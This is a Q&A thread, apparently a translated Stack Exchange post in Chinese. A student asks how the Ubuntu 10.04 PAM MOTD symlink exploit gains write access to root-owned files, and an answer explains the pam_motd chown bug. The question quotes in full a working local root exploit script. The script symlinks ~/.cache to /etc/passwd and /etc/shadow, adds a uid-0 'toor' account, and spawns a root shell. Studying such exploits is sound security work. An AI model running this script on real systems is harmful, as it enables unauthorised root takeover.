这个漏洞是如何允许对 root 拥有的文件进行写访问的?

use*_*724 7 ssh permissions security root

对于我大学的计算机安全任务,我需要找到并了解在 ubuntu 10.04 上运行的漏洞。我已经在一台 Ubuntu 10.04 机器(我拥有)上找到并测试了一个

这是漏洞利用,以普通用户身份运行,为您提供 root 访问权限。取自进攻性安全网站。

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor
Run Code Online (Sandbox Code Playgroud)

我理解为什么它会备份文件并生成一个密钥供ssh以后使用,并且它在缓存文件(运行脚本的用户有权读写的文件)和该文件之间建立软链接你想拥有所有权。

我的东西明白的是,为什么是echo "$P" >> /etc/passwdecho "$S" >> /etc/shadow这些文件而不是文件缓存取得?这些文件和缓存文件之间的软链接的目的不就是能够写入吗?

$USER在脚本中的那个点如何获得在 shadow 和 passwd 上写入的权限?答案显然与对 localhost 进行的 ssh 有关,但是为什么这个 ssh 授予这些权限?

之后我知道会发生什么,一旦两个文件都被修改,那么用户 toor 就拥有 root 权限并使用 su 命令调用。我的主要问题是理解ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true让您获得对 shadow 和 passwd 的写入权限。

Oli*_*Oli 11

这是pam_motd中的一个 bug,它早已被修补

Ubuntu 9.10 上 PAM 中 1.1.0-2ubuntu1.1 之前的 libpam-modules 中的 pam_motd(又名 MOTD 模块)和 Ubuntu 10.04 上 PAM 中 1.1.1-2ubuntu5 之前的 libpam-modules 允许本地用户更改任意文件的所有权通过对用户主目录中的 .cache 进行符号链接攻击,与“用户文件戳”和 motd.legal-notice 文件相关。

这基本上意味着,在使用 SSH 登录时,PAM(身份验证模块,以 root 身份运行)会尝试chown $USER: ~/.cache. 它没有查看那是什么,因此所有权更改正在传播到链接文件。

这允许您拥有然后编辑系统文件并获得根级访问权限。

虽然.cache被符号链接到/etc/{passwd,shadow}他们可以回响到.cache......但为什么要打扰?到那时,这些文件的文件所有权已更改为$USER. 它们可以自由编辑。

只是为了回答您的评论:

  • 它没有给你许可,它(或者我应该说它的 PAM 模块)是改变所有权的东西。但是,是的,PAM 所做的就是问题所在。

  • 符号链接~/.cache只是漏洞利用的重定向。是必需的,以便在您登录 PAM(以 root 身份运行)时尝试chown链接文件。这就是那里漏洞。

  • 这是一个疏忽,通过在输入任何代码之前删除特权来修复它

  • @user282724 它被称为[符号链接攻击](https://capec.mitre.org/data/definitions/132.html),它很古老但[仍然很常见](https://www.google .com/search?q=site%3Awww.securityfocus.com+symlink+attack)。这个特殊的缺陷不是来自“Ubuntu 设计者”或 ssh 的作者,而是来自 pam_motd 的作者。符号链接攻击是编码错误的结果,而不是滥用功能。 (3认同)